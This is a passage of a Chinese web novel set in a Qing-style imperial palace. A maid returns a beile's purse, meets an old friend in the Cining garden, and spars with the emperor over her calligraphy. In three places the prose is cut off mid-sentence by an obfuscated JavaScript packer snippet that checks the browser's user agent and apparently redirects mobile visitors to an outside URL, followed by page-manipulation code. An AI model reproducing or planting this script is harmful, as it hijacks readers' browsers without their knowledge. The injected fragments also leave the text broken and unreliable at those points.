正是忙的时候。昨晚守夜的宫人歪在炕上睡觉,苏拉们趁现在没什么人,忙着扫地、擦缸,大灰笤帚刮在青石板上喀喀地响。一霎儿太阳光透过云层浮出来,照在窗户里炕上歪着的女孩子脸上,便觉得人世间一切不太平,只消一场好梦来抵。 连朝的步子不自觉放慢,矮身进屋,开双巧的柜子,却并没有找到什么花样子。她也不敢去翻别的,对着光上下仔仔细细翻找几遍,不过是一些理得整齐的线。正纳闷间,听窗户外一声,“别找了,压根没有。”她抬起头,才见双巧已经笑吟吟地进来了。 连朝起身,双巧却把她按坐在炕上,自己也崴身坐在一旁。双巧说,“刚刚殿门口的人,你是真不认得还是假不认得?” 连朝说认得,“以前听过见过。前几日在万岁跟前,也打过照面。” 双巧“啧”了声,搬起手和她数,“那是淳贝勒,主子爷这一辈从元,后来主子荣登大宝,宗室们讳元为与,淳贝勒的名字就更好听了,叫与岑。山峦岑岑的岑。” 双巧见她只是出神,晃了晃她的手臂,板着脸问,“你是不是也和庆姐一样,认为我就是个心思野,事情多,想要攀龙附凤的人?” 连朝回过神,温和地摇了摇头,“想为自己挣前程,谋出路,有什么错。天赐一副皮囊,自己自珍自爱,不自轻自贱,又有什么错?只是有时候不得不相信时也命也,又生出无数的事端,倒不如平庸一生。” “那庸庸碌碌过一生,就是对得起自己了吗?”双巧撇嘴,“你这话,倒跟万岁爷说的一模一样。有一回我们进茶,赵谙达在跟前凑趣,万岁爷也说,何必识字,何必读书,何必有经天纬地的大略,何必有七情六欲的牵扯,不如做个南窗底下逍遥的散人。” 连朝颇为讶然,“怹老人家也会有这样的想法吗?” 双巧“哧”一声笑了出来,“你猜怎么着,赵谙达顺着杆子麻溜地爬,奉承万岁爷机务操劳,勤政爱民,合该奉养身体,太平无忧。反倒遭了一顿好骂,” 双巧边说,边学着腔调,拿捏十分到位,“万岁爷骂他,便该读书习字,不可一日懈怠。万几江山在肩,虽有忧愁烦恼,也有会力不从心之时,但养颐消闲,绝非人君所能为。有一日的气,就要勤一日的政。往后到了陵里,瞌睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810049|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的日子且长呢!” 说话间赵有良那种常见的拍马屁拍岔了的尴尬表情简直如在眼前,两个人都掌不住笑了一回,连朝顺势问她,“你这一个字一个字言之凿凿,是多久远的事情,难为你还记得这么请。要是我呀,笑过一回,就什么都忘了。” 双巧微微地红了脸,“因为万岁爷是主子,不仅是养心殿的主子,紫禁城的主子,也是天底下的主子。你在御前不长,写出来的书里,仿佛个个男人都是一等一的好模样,一等一的会体贴人。其实不是的。” 她慢慢地想,“来往御前的宗室们、大人们,就没有两个是完全一样的。到了夏天,不收拾,身上纵然熏沐,也会有注意不到的瑕疵,譬如袖口上涴渍呀,嘴里有味儿呀,没法提!更有些脾气古怪的,发作起来不把你当个人看。要我说,天底下能找个全须全尾儿都干净妥帖的,就只有养心殿里这一位。见过怹老人家,旁的总觉得差点滋味。” 又乍然回过神,急匆匆将这点子赧然藏起来,一本正经地与她说,“再还有,就是今儿这位贝勒爷了。一个人好不好,说两句话就看得出来。我看你是真笨呐,人家巴巴在见你的时候落下个荷包,擎等着要和你说会子话,你明明见着,囫囵不管,是失礼其一。你就恁么走了,让别人去捡,倘或有坏心的,又该闹出事端,反倒害他好心。我没问你前,忖度要是你们没交请,他实在有些轻浮,既然有交情,为什么藏着躲着? “你可别因为他是个贝勒,就觉得人家不上眼,真把你配个二等虾三等虾,你还急呢!他是铁帽子荣亲王这一支里最有前程的贝勒,单看那天端王爷身上不好,也亲自带他来御前,你就要看懂些一二了。” 连朝慢吞吞地说,“很能得器重,是好事呀。” 双巧也不知她是真不懂还是装糊涂,搡了她一把,“怎么就不能变成你的好事呢?这荷包儿就是那杨柳枝,擎看你是柳还是留,你写东西倒是能写生花,自己逢着,不明白吗!” 说罢,见她神色,又觉自己多言,倒叹了口气,“也罢,也罢,你就当我没说过这话吧。是我无中生有,让你在这儿听了大半宿的话。我到值上去了,再劝你一句,这荷包你最好不要留在身边,不想有攀扯,随意扔给谁,自有那伶俐的要上赶着交上去。” 有种种的过往在脑子里醒了一遍,连朝及时叫住双巧,“我与你一起去吧。若是还在,就及时交还,若是没赶上,我再托谙达们转递。左右他也常来。” 双巧是要往茶膳房去,她从角门进养心殿,果然见常泰在廊下翘首等人,见着她“嗳哟”便迎上来,“好姐姐,等的就是你。是你捡了贝勒爷的荷包儿吧?贝勒爷上慈宁宫给老主子请安去了,走之前嘱咐不要声张,让找了悄悄地送回去。姐姐往慈宁花园边上等等呢。” 她下意识往里面看了一眼,问,“万岁爷呢?” “在见人。今年八月往木兰去,这可是先帝爷过世后的头一回。主子爷很放在心上,这一向又是要收拾园子、又要听随扈的事,恐怕有得忙了。” 连朝口头上应承着,一壁谢过常泰,袖口里揣着的荷包,似乎成了个烫手的山芋,只顾低头折道走,沿着墙根儿,慈宁宫不远,就在左手边一道墙后头。过了两道门,能看见伸出墙的树盖。 那就是慈宁花园了。 11. 戌时三刻 小翠果然在门口等她,两个人许久没见面,手握紧了就不肯分开。 小翠又高兴,又偏过头不让她看见自己的泪,口中只说,“都怨我,都怨我!不该手松了使她们乱传,让你遭罪。内务府没为难你吧?我听见他们与崔嬷说,要来收你的东西,把我吓得胆也没了,魂也丢了,后来听说你被调到养心殿,我心里一口气才缓下来。” 连朝说,“咱们到亭子里说话。” 临溪亭前面就是一汪水池,四周花木扶疏,这里最能听见乌鸦。 在开阔的地方,离门边远,也没什么外人,连朝这才松了一口气,笑着安慰她,“都还好。不然我怎么今天能见着你呢?至少项上人头还在,对吧?” 小翠着急道,“都什么境况,你还和我说这种开玩笑的话!” 连朝说,“你更不必怪自己,那就没道理了。我仔细也想过,当初既然写这东西做消遣,天下无不坏之网,总会有这么一天。何况我并没有署名,于谙达还能抓准了我,便知道再怎样辩解也是无用。” 小翠隐约也明白这里头的关窍,“你是说,从查到那书到于荣光来提人……都不是偶然?” 连朝百无聊赖地笑了一下,“谁知道呢?” 小翠一时无话,再问也不能深问了。撒开她的手,不知道是不是讲到心事,偏靠在栏杆上看湖水。 风吹过的时候,一片片落叶顺其自然地飘在湖面上,小翠擦了把脸,囫囵说,“仗着这里没人来,管事的谙达们好脾气,张千又没来捞叶子。” 连朝听出她话里的意思,靠过去,按着她的手。细腻掌心相贴,影子就被框在池水的倒影里,“所以还好有你呀。我把包袱一拆开,看见里头整齐的衣裳、物件,我就知道你还平安,知道这些都是你为我做的。至少我还能回来看看,上头也没把这件事牵扯开来,就很好了。” “就很好了……”小翠喃喃,“我已经在这里看了两年的落叶,在宫里看了第三个秋天。” “不闻不问,不管不顾?我知道一朝天子一朝臣,当年的时局,我该怪谁呢?怪自己时也命也,没赶上好时候?我们不是包衣里选出来的,我们是在景仁宫贵主子跟前学规矩,是等着指婚的恩典,不是注定了要来做什么宫女的!现在成什么了?满腹的本事,成了消闲的点缀,到头来还得写东西给她们传,哄她们玩。被查问起来,我们倒成了笑话!” 连朝也不知该怎么安慰她,彼此静默无言,但见落木萧萧下,琉璃瓦在日光披拂中,明亮得如同神佛的金身。 还是小翠“嗐”了声,说不讲这个了,挤出笑问她近况,“好容易能见你一回,是我不懂事,又提起这些,惹人伤心。在御前都好吗?御前的人有没有为难你?每年八月初二,都能见一见家人,如今你到御前去了,是不是也可以见到了?” 连朝说是,“应该就这两日,会有名册下来。我看榻榻里的都在赶鞋,做花儿,等我做好花儿,我再托人送你,咱们虽然见不到面,心意不能少。” “以前每年你都会做。”小翠笑了,赧然,“那我可等着你的花。那你不就能见着你玛玛?太好了!总听你提起她,如今也算因祸得福,了却心愿。” 小翠的声音低微下来,敛着眉目,“我也不晓得几时才能有机会,再见一见我的阿玛和讷讷。” 连朝想了想,“我也还拿不准。但是这次见面,下次还不知道在哪里。以前听你说你家里也在京中,我若是真的能见到,托家里人,也与你家报个平安,岂不便宜。” 小翠迟疑着,“那就得为难你,还劳动你家里人,牵扯更多……” 连朝说,“上头明令,让宫女见家人。是内务府躲懒势利,只排前面的,咱们才没见着。你要怕麻烦我,只当我没说过,你要是放心我,我知道你家里在哪儿,阿玛讷讷是谁。趁着我还能见你,快快地说。” 小翠欣喜道,“劳你给我家里人带话,就说小翠问家里人好吗?玛法玛玛,阿玛讷讷们都好吗?我、我如今在宫中当差,很好,请家里人不要挂念我,过个几年,自然会相见。” 尾音不知怎么的,竟有些惶惶的胆怯。 连朝不免触动,“你家里长辈们都安在,知道你过得好,真是慰籍。”她握紧了她的手,“你放心,这话我一定托人帮你传到。” “说了这么久的话,倒忘了我的正事。” 一道声音从身后传来,晴空朗照,煞是好听。 她们二人忙撒了手,双双回身行蹲安,口中道,“奴才给淳贝勒请安。” 与岑虚扶一把,“快起。”小翠很识趣,再行个福身,依依不舍地看了她一眼,便走了。 连朝都看在眼里,起身再道回谢,保持着得体的距离,“多谢贝勒爷良苦用心,让我能重回故地,再见见姊妹。” 与岑温声道,“该当的。” 她也不多言,从袖口中取出荷包,双手端正地奉与他,微微颔首,“您的荷包。” 他双手还搭着马蹄袖,想必是觐见太后时放下的。接过荷包,并没有触碰到,倒似清风拂过水面,轻飘飘地过去了。 与岑端详一阵,也不知道是端详荷包还是端详她,复笑道,“帮你一个忙,有没有好处?”不等她答话,又自顾自地说,“帮我把马蹄袖挽起来吧。” 连朝见周围没人,小翠刚去了,便低下头,替他挽马蹄袖。规整的月白色,翻在腕子上,隐约有奔腾的龙纹。天潢贵胄,素来如此。 他笑吟吟地看她,乌黑的发,低垂眼显得娴静,颇有家常的美好。 她并不是很明艳的那种美,天底下哪里有那么多倾国倾城的美人。如若要用两个字形容她,应当是清秀,兼之一点黠趣,两者中和,不偏不倚,像是山水画中旁逸斜出的一片疏枝。 而她的眉眼是朗阔的,令他连声音都不自觉放得柔和,“你怎么知道荷包是我的?” 连朝说,“你进去的时候我恰好出来,你来之前外面没别人,御前的人目光如梭。再者,寻常人也用不起这样的荷包。” 他似乎存心逗她,语气都带了些埋怨似的,“你怎么不还给我,还得等我叫人给你传话?是有几年未见,不认得我,还是觉得已经长成,就彼此生疏?” 于是拖慢声调,要叫她小名,音还压在舌尖,她便红了脸,急忙接住他的话,“我临时有事。你不要叫了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810050|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他很平静地看着她,“你大可以让他人代为转达,可是你没有。因为你不忍让它失落,不愿经别人的手,是吗?” 这话也不知是在问荷包,还是问别的。 令她一时无言,无形之间他吐息低低萦回,不同于皇帝熏惯了的龙涎,应该是闻思香,清苦宁神。 他也不忍催逼过甚,自己松口,把荷包顺势递回她手里,“怎么不看看里面有什么?” 她鬼使神差般地拉开,里头是一朵通草花簪。京城小贩们惯用的竹签,一簇桂花金黄逼真,上头停着两支蝴蝶,放在宝瓶里,应“平安富贵”的好兆头。 “这么贵重……” 她话还没说完,先教他按下,“不贵重,非金非玉,是通草的。虽然比不上金玉,是你哥哥与我一同出门时买的。他说你戴上一定好看,可惜你不在家里。快到八月节了,头上光秃秃的可不好看。过程子圣驾要去木兰,我也会跟着。承德的规矩没有宫里多,我希望你戴着它。” 一贯沉静的眼眸,掀起潋滟的光,眼角微红,才肯流露一些平素藏匿的情绪,“我家里,玛玛他们,都还好吗?” 与岑顿了一下,“我不如实相告,你来日定会怨我。既平素来往有勤,便有告传之责。旁人都好,只是你玛玛今年开春的时候,比往年多请了几次大夫。胸肺不大好,幸而用过药,春夏还算太平。” 她听得起伏,仔细想了想,“是家里传来的老毛病。我以前也听过的。多谢你告诉我,你是不是常常到宫里来?” 他问,“你希望我常到宫里来么?” 年轻的姑娘,脸皮薄得很,偏过头不看他,湖面跟框景似的,把人影框进去,好看得像山水画。 她斟酌词句,只是避开说,“我困在里面,出去也不能。纵然可见家人,他们也是挑好不挑坏的说。玛玛从小把我带大,我不想留遗憾。” 她深吸一口气,脸上有哀怜的神色,“我知道宫内外传递消息有风险。今日你替我担,来日我能还你,定十倍百倍地还你。让我常听听家里的信儿,求求你,成吗?” 与岑却笑了,“你我之间,论亏欠,用求字,真是见外。你让我办的事,我无有别的可说,唯尽心竭力办到,只要你信我。” 连朝回养心殿的时候,恰好遇见一队造办处的人捧着匣子出去。常泰笑嘻嘻地与打头儿的刘太监说了两句,才转头应承她,“姐姐回来了?万岁爷在东暖阁里喝茶呢,姐姐快进去吧!” 刘太监殷勤也问声“姑娘好”,连朝忙笑着回“谙达好”,东暖阁帘子已经调开,她匆匆整理鬓角,便往里头去了。 皇帝盘腿在炕上看书,上午的事儿都办完,于膳点尚有些时候。见她进来,乜眼慢慢地打量一遭,才把目光收回去,照旧看着书。 连朝向赵有良看了一眼,见他脸上平平,便请了蹲安,轻轻地道,“奴才请万岁爷安。” 皇帝似乎专注于读书,没听见她说话,她便一直半福着身子。直到一页书看完,“哗啦”地翻过去,听见干燥纸张相触碰,与枯叶落地之声无异。 皇帝撂下书,去喝茶,随口问,“做什么去了,这么久。” 12. 戌时四刻 她答得坦荡,“奴才出门时,见廊子下有个荷包,想着御前来往频繁,失落了不好。刚刚得淳贝勒着人给的信儿,奴才还荷包去了。” 皇帝凉笑,“贴身的荷包都能平白无故地掉,未免太不上心了。” 连朝本想解释,话未出口,又自知越描越黑,索性不说话。 皇帝见她不答,目光沉了沉,半晌还是好言好语地笑,“我没别的意思,平白嘱咐你一句。御前不比在慈宁花园,不论旁人有心无心,自己多留心,就不会差。” 她低着头,不卑不亢的声音,“奴才蠢笨,当不好御前的差,让主子爷费神教训。万岁知人善用,大德大贤,若肯垂怜,放奴才回慈宁花园,奴才也可日夜勤勉奉职,遥报天恩。” 赵有良原本不咯噔的心又咯噔起来,刚想搭进去说几句好话,又觉得自己是多余且不长记性,索性老实站在一旁,继续装聋装瞎。 皇帝素来喜怒不形于色,此时也不过将茶盏搁在炕桌上,转了话问:“昨儿的字交来了吗?” 她还是一贯的老实,“带来了。” 皇帝的脸色这才好看了一些,“拿上来看看。” 她手里没东西,从袖管里抽出一叠纸,转交赵有良,赵有良再奉到皇帝眼前。三折的素宣,平整摊在炕桌上。外头日角偏斜,照得满室亮堂。许是久在怀袖,还有一点暗香。 皇帝拿起朱笔,跟幼时启蒙的先生一样,一个字一个字替她纠笔画,边圈边感叹,“朕虽膝下尚无皇子,却也体会到开蒙多艰。” 说着晲她一眼,“站那么远,看朕么?过来看笔。” 连朝忍住一把火,往前两步,倾身去看他朱笔,不同于批复奏章的流畅,他放慢了速度,有意教她撇捺怎么运笔,怎么藏锋,怎么使力。 但见滟滟朱砂在宣纸上铺陈开来,煞是好看,一圈,一批,雍而不骄,一时间让她看住,耳畔响起很温和的声音,“你是不是在想,这些纸收了去,在天桥下能卖几个钱?” 真煞风景,连朝醒过神,要抬眼去看,又想起这是犯规矩,便去看字,看得倒吸一口凉气,不知什么时候,皇帝已经密密麻麻画了好几排圈,照他老人家的个性,每一个别字罚一百遍,别提写字,掀被子都是个难题。 她笑得比哭还难看,应承皇帝的话,“万岁爷不要有墨宝只够卖天桥的抱负。民间看章不看字,您光秃秃的字放天桥下,大约能卖个厕纸钱,所以奴才纵然缺钱,也不会这么做的。” 赵有良知道再不说话不行了,在边上捏着腔调呵斥一声“大胆”,“姑娘这可是大不敬!” 连朝马上跪下,“万岁爷是仁君,仁君体恤天下,接纳良言。良药苦口利于病,忠言逆耳利于行啊万岁爷!” 皇帝连连笑了好几声,朝赵有良道,“她有什么错。朕屙屎,是用金片子擦。朕不是人,吃喝拉撒都和外头不一样,那民间屙屎用废了的字纸,朕体恤民间疾苦,改明儿起也换成这个擦吧!” 皇帝咬牙,“你最好有这个本事,你书里写,朕每日御膳有整整三百道菜,一百道凉菜,一百道热菜,一百道饽饽点心,那朕可有得拉,要用不少纸,得劳你多写点,朕不吝辛劳,每张给你批两条,再命人打理好了拿来擦,你说好不好?” 饶是在御前这么久,赵有良哪见过皇帝这般,吓得筛糠一样跪在原地。东暖阁里头、外头,养心殿外的廊子下伺候的人都哗啦啦跪了一地,抚袍扫地的声音沓沓地传出去,最终归为长久地沉寂。 连朝想起方才在慈宁花园嘱咐的事,那股子不凭不倚地心气儿也矮了好些,叩了个头,语气满是虔诚,“万岁爷肯听奴才回禀民间实情,体恤民间疾苦,乃无量大德。非但体恤,还忧民之忧,体民之苦,愿身体力行,感同身受,真善至极。奴才这些日子在御前,蒙恩记录起居,当真对天家、对万岁,有了全新的认识。” 她觑一眼皇帝的脸色,接着说,“今日万岁爷这一番真情高论,感人肺腑,奴才听了都钦佩万分。不过民间的手纸虽然也收废字纸,大多要经过回浆重造。于贫人是节省银钱,于天家便是冗繁靡费。宋仁宗之羊羹,与民间的羊羹,难以同类而语。奴才给贝勒爷递荷包,与受万岁爷教导习字,自然也不能相较。宫中所为,官中所效,民间所风靡。奴才写几个字,真没什么,可斗胆以为,万岁此举,需要三思。” 皇帝原本只是随口顺着她胡说,遭她这么长篇大论洋洋洒洒下来,早忘了要问责她的主旨,稀里糊涂听起来还算顺耳的奉承话,譬如什么不可同类相较啊,委实让龙颜和悦几分,再到什么羊羹、官民,原本带着薄怒的目光,转了几回,倒成了端详。 “朕原本见你有慧根,却蒙昧,有意教你读书习字。听你方才引经据典,说得头头是道,还算有条理。那先前书里的胡扯,编排些色令智昏的帝王,都是故意的了?” 赵有良倒先替她后背一激灵,得罪谁好,得罪主子爷,是犯哪门子的病。赵总管及时又喝,“真是大胆!” 话音刚落,皇帝与连朝两双目光,纷纷地望过去,赵有良板着脸塌也不是,不塌也不是,在皇帝瞪一眼后,识趣地盯地毯去了。 连朝忖过,复耐下心,还打算开口说话,却见皇帝拿起书,傲慢地别开脸,“得了,不必再扯一堆来奉承朕。御前事物,不可外传。养心殿的规矩如是。朕心中有数,盼你也是。” 瑞儿进来奉茶,皇帝瞥了她一眼,“喝口吧,省省唾沫星子。” 如逢甘霖,御前赐茶,那是前朝的大人们才有的恩典。连朝正也绞尽脑汁,说到口渴之时,喜滋滋地谢恩,双手托着盏子,吃得不着急。小口抿一次,那氤氲茶香贯穿肺腑,一切不舒坦的都舒坦了。 皇帝本在看书,抬眼时见她喝茶,清素的一个人,不是后宫里闲着作养出的娇花,他一时不知道该用什么来作比,最后觉得她像草。是缀着新鲜露珠的青草,野火烧不尽,春风吹又生。她有一股子心劲在,人活着不就活一口气吗? 偶然闪神,他似乎又懂得,恭勤郡王府里的那一次相会,夜雾茫茫,生与死不加掩饰地横亘在两个少年人面前,他身边同行着的,居然是如此蓬勃的生命。 连朝托着杯子,也不知该不该放回去。还是瑞儿机灵,早已经备 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她眨了眨眼,“万岁爷听了不高兴吗?” 彼此默契地笑过一回,常泰凑上来问,“师父,主子方才说什么手纸,做是不做哇?” 赵有良冷笑,“做?” 常泰满脸不可置信,“真做呀?”说着可怜地看向连朝,满怀同情,“那姑娘的手可要受累了。” 赵有良气不打一处来,拿拂尘抽他两下,“真做了,你就等着主子擦一手的墨,赏你去刷恭桶吧!” 圣驾自慈宁宫回来,午歇过已经未时初了。今日机务不忙,在勤政亲贤听了两耳朵家常事,便觉得宫中秋日雍雍可乐。待连朝奉命去记事宜,看时辰,皇帝已经移到三希堂,赏玩法帖。 三希堂里进茶水都慎重,案头不留茶,赵有良有意让她进去,在西边门前嘱咐她一些关窍,亲自把漆盘递给她,笑道,“姑娘不要怕,大大方方端进去。下午上值,也得在主子跟前应个卯不是?眼下刚歇午起来,心情最是不错。姑娘快去吧,可别让主子等久了。” 三希堂地方不大,陈设却堂皇。乍然迈步进去,燃烧的也不再是龙涎香,更像是松柏或者沉檀。皇帝穿着家常的秋香色江山万代便服袍,盘膝坐在宝座上对着天光挑石头,估计要刻一方新章。 见她来了,“唔”一声算是叫起,又看了好一会,才将寿山石撂下,转身托起盘中的茶盏,低眉来品,“怎么是你送茶?” 连朝如实说,“赵谙达让奴才送的。说您眼下心情好,让奴才来应个卯。” 皇帝“哧”地笑了,把盏子搁回去,自有人从连朝手上承托,退出去候在勤政亲贤的门外。连朝原本也欲随她出去,皇帝却忽然说,“你上午晌说的话没有错。” 她只好收回步子,立在原地。一副垂耳听训的模样。秋日阳光慵懒,照在她脸上,把原本坚韧的颌线蒙上层柔和的光。 皇帝说,“你来。” 她往前一点儿,皇帝又笑了,“让你近前来,先前还有胆子陈言大道,迈两步,要你的命么?” 13. 戌时五刻 连朝走到脚踏跟前,离他已经很近了,再近就到炕沿。皇帝眯着眼想了想,“右边柜格里有幅画儿,把它拿出来。” 连朝只好探身去拿,把画取出来展开,皇帝自然地接过一头,并不长。看面上也有些年岁,画的是一只蜻蜓,立在荷叶上,似乎探首而望,细巧可爱。 她见果真题了诗,不觉去念,“无数飞花送小舟,蜻蜓款立钓丝头。一溪春水关何事,皱作风前万叠愁。壬寅孟冬中浣御笔。寄所托。” 皇帝说,“寄所托,是我玛法的私印。但宫中不存,应当陪祔山陵。” 他顺着那只小蜻蜓,抬眼就看见她若有所思。秋日晴光朗照,窗棂上、卷帙中积攒的灰尘翻涌扑腾,似乎也能用气味勾起几分从前。 她问,“蜻蜓夏时常有,为何在孟冬作画?” 皇帝答,“玛法留下的诗画,阿玛在时曾让人编订成册。蜻蜓、腊梅、冬雪,皆常为题咏。每逢冬至、元旦开笔,总有御诗。我观圣训实录,天生四时,斗柄所移。玛法的诗中常咏北斗,君王不违四时,赏罚刑赦,教化天下,想必也是玛法一生的寄托。” 连朝却笑了,“冬天画蜻蜓,是在等春夏。隆冬太过漫长,总得有些指望。” 皇帝从他的印鉴匣里找出枚寿山石的章,捧给她看,“这是我阿玛的。” 她认真去看印玺上的字。 因是反的,认得艰难,几乎是拖起音调,“常——怀——素?” “但愿桑麻成,蚕月得纺绩。素心正如此,开径望三益。桑麻有时,无冻馁饿殍,保全天下家庭不至离散,都有盖顶屋庐,顺应四时耕作,这是先帝一生所期。” 连朝笑了笑,将那方印鉴放归原处,看见皇帝赤忱的眼,顺应问,“那您呢?您的印文是什么?” 皇帝说,“我先前并没有,不知道刻什么,如今知道了。当是——无非新。” “群籁虽参差,适我无非新?” “读过王右军的诗。” 她便不说话了。 皇帝坦然道,“我接阿玛遗命,登临大宝。仁宗皇帝运筹果决,初年便扫清朝堂积弊,广用天下英杰,爱民深切。先帝肃明法度,世遵成宪,严惩贪腐,尤倡廉明。至于朕,” 皇帝顿了顿,“我不知何为,不敢超蹈先贤。万物参差,我便时时以探新求新之心,不忽不疲,不拘陈定。但愿百年之后,能无愧厚养我的河山千万。” 连朝自然附和应承,“万岁爷大志。” 皇帝原本慷慨的脸上流露出显而易见的鄙夷,“朕没有大痣。” 连朝笑着说,“今日受万岁爷的教诲,奴才感动五内,那些鄙薄的精神也为之一振。万岁爷放心,以后奴才要是还能侥幸写些什么,笔下的君王,定然如万岁爷一般,圣明烛照,高大伟岸!” 皇帝皱着眉打量她,“你知道你现在像什么吗?” 连朝捧着心口,闭上眼睛,一脸仰慕,“像敬仰万岁爷的小民。” 皇帝说不是,“像个旷世大奸臣。” 她抽了抽嘴角,也不装,也不演,又恢复了素日常有的沉静神色,仿佛刚刚听到的,不过是街头哪个不知天高地厚的小小子儿的吹嘘。 皇帝看着她的眼睛,清澈的,冷静的,他蓦地叹了口气,心头盼望的汹涌乍然平息,一成不变的只有照进来的阳光,还能隐约听见几声鸦啼。 连朝知道不能得罪狠了,把画卷到底,系好了收回原处,复问,“那您想用什么石头来刻呢?寿山?田黄?青田?” 皇帝闲闲摆弄着案头的各式石料,似乎并无心情回答她的问题,“喜欢什么宝石?” 她还是不明喜怒,列举出长串的名字任他挑选,“蓝宝?红宝?珍珠?翡翠?碧玺?猫儿眼?玛瑙?八宝?青金石?珊瑚?琉璃?这些都太小太脆,刻不成章的。” 皇帝望着她,目光深邃,如沉潭寒渊,“朕说与你,问的也是你。” 连朝果真想了想,“奴才喜欢青金石。” “色相如天。你是想让谁升天。” 连朝泄气,“万岁爷,您对奴才有偏见。奴才顶顶喜欢金子,喜欢红蓝宝,喜欢透绿的翡翠珠子,畅想妆奁里能有奇珍异宝,眼前不过几只拆簪旧花儿,光肖想无用,嘴上谁不会望好的,落到实处才是真好。所以奴才喜欢青金石,有蓝宝的蓝,有金子的金,变化无端,星丽于天,不必强求事事万全,能做一分,是一分,能有一点,即是一点。” 皇帝沉吟着,扬声唤:“赵有良。” 赵有良听这声气,暗道不好,不料皇帝却说,“过几日要去木兰,让赵有良着人挑一匣子蓝宝,着你拿几颗,给朕做顶帽子吧。” 连朝眼前一黑,忙说,“万岁爷,做帽子也用不着蓝宝。” 又发觉自己说错了,“奴才是说,奴才针工不行,给宝石使奴才做帽子真是暴殄天物。” 皇帝了然,应答也干脆,“那就算工钱。” 连朝顿时眉花眼笑,刚要说话,便听皇帝慢条斯理地补充,“省得你背地里再说朕盘剥宫人。” 大总管不会悄悄儿做这事,连朝刚交完今日的起居给皇帝看,屏息凝神等怹老人家发言批评几句,皇帝眉头皱起,刚想说话,赵谙达就带着他的蓝宝,喜孜孜进来等夸了。 故而皇帝酝酿了许久要来挑剔她的新鲜话,落在口头就转成一声极清浅的叹息,“去挑挑吧。用多少挑多少,不可多拿。” 赵有良果真送来一匣子蓝宝,紧赶她挑。连朝也不晓得这是上哪儿来的,个个晶莹剔透,托在手心里,蓝汪汪地像一滩水。 皇帝抬手,常泰便从御案上端来个匣子,皇帝接过放在炕桌上,打开来就是一叠被圈过朱的纸,连朝眼风扫到,十分难堪,只等着皇帝快快把今天的放进去,不料皇帝却顿住了手,“不对,今儿还没罚抄呢,先搁着,罚的交来在一并划档。” 连朝哭着脸,“奴才觉得给您做帽子是头等大事,笔墨上的功夫,一天两天,急不来。” 皇帝不由分说关了匣子,颇为严肃,“唔,朕起先看你不愿做帽子。何况笔墨工夫生疏不得,落下一天,即是落下一截,慎之,勉之。” 连朝把捧着的宝石倒回匣子里,“做帽子也得抄,不做帽子也得抄。奴才觉得自己一心不能二用,还是专心把抄的办好。” 皇帝说好,“把石头收走。朕给你圈了十个字,与你写过附在旁边,回去一百遍,写了交来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810052|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连朝原本苦着的脸更苦了,不情不愿挪过去看,密密麻麻全是红叉,手腕还没抬,就能料想写完该有多酸,她只好小意辩驳,“这八个字,都是按您之前教的笔顺写的,奴才会举一反三,您再仔细看看?” 皇帝被她气笑了,“朕看不止这八个字,这个,还有这个,都是笔顺正确,朕看走眼了吧!” 连朝一面点头,口中说怎么会呢,“万岁爷圣明烛照!” 皇帝笑着说好,“你来,就说今儿下午,朕见赫寿额这件事儿,朕说,你把它的始末补上,一篇下来不写一个陡笔,你十天的罚都免了,何如?” 皇帝似乎料定了她会应承下来,赵有良亦会意,在御案前与常泰铺好笔墨,皇帝按下它肩头,御座便算允她坐了。 站在一旁与她挑笔,蘸墨。常泰倒被吓着,要给皇帝挪椅子,皇帝却说不必,就站在她边上,对着烛光看她写字,口中说,“赫寿额入殿,口中说家里奶奶厉害,要让朕为他做主休妻。朕问,你妻有何过失,你要休她?他说,奴才之妻剽悍,阻奴才纳妾,扬言奴才敢纳一个,她就要废了奴才一条腿,敢纳两个,就要废奴才一双——不要笑,你的剽字写错了,不是嫖,你脑子里在想些什么?” “……这是妻的下面的女,写连了,不算写错。” “那你补全。” 皇帝见她绞尽脑汁,笑着叹了口气,“立刀,刘字的右边。” 也许烛光太温和,看不清她到底红没红脸,赵有良抿着笑,悄悄儿比了个手势,养心殿伺候的人便跟着一道儿出去了。 他走到殿外,此时的养心殿灯火琳琅,秋风习习,绕过袍裾而去。暖阁内捧出温和的光,偶闻喁喁细语,好在并不是什么大政,不过是寻常人家的细碎琐事。见天地忙碌,乍然停下来看看天色,都觉得人与物皆从容。 到了掌灯的之后,敬事房的孙进襄还是如期带着一溜人,捧着银盘来了。哥儿俩厮见过,孙进襄聪明,不急着往里头去,只笑着打趣,“得留我在外头耗耗,省得立马往围房去,让主子们见着不痛快。” 赵有良抱着拂尘“嗐”了一声,“不痛快?等上承德去,围房也进不了,要为这不痛快,更不痛快的还有呢!” 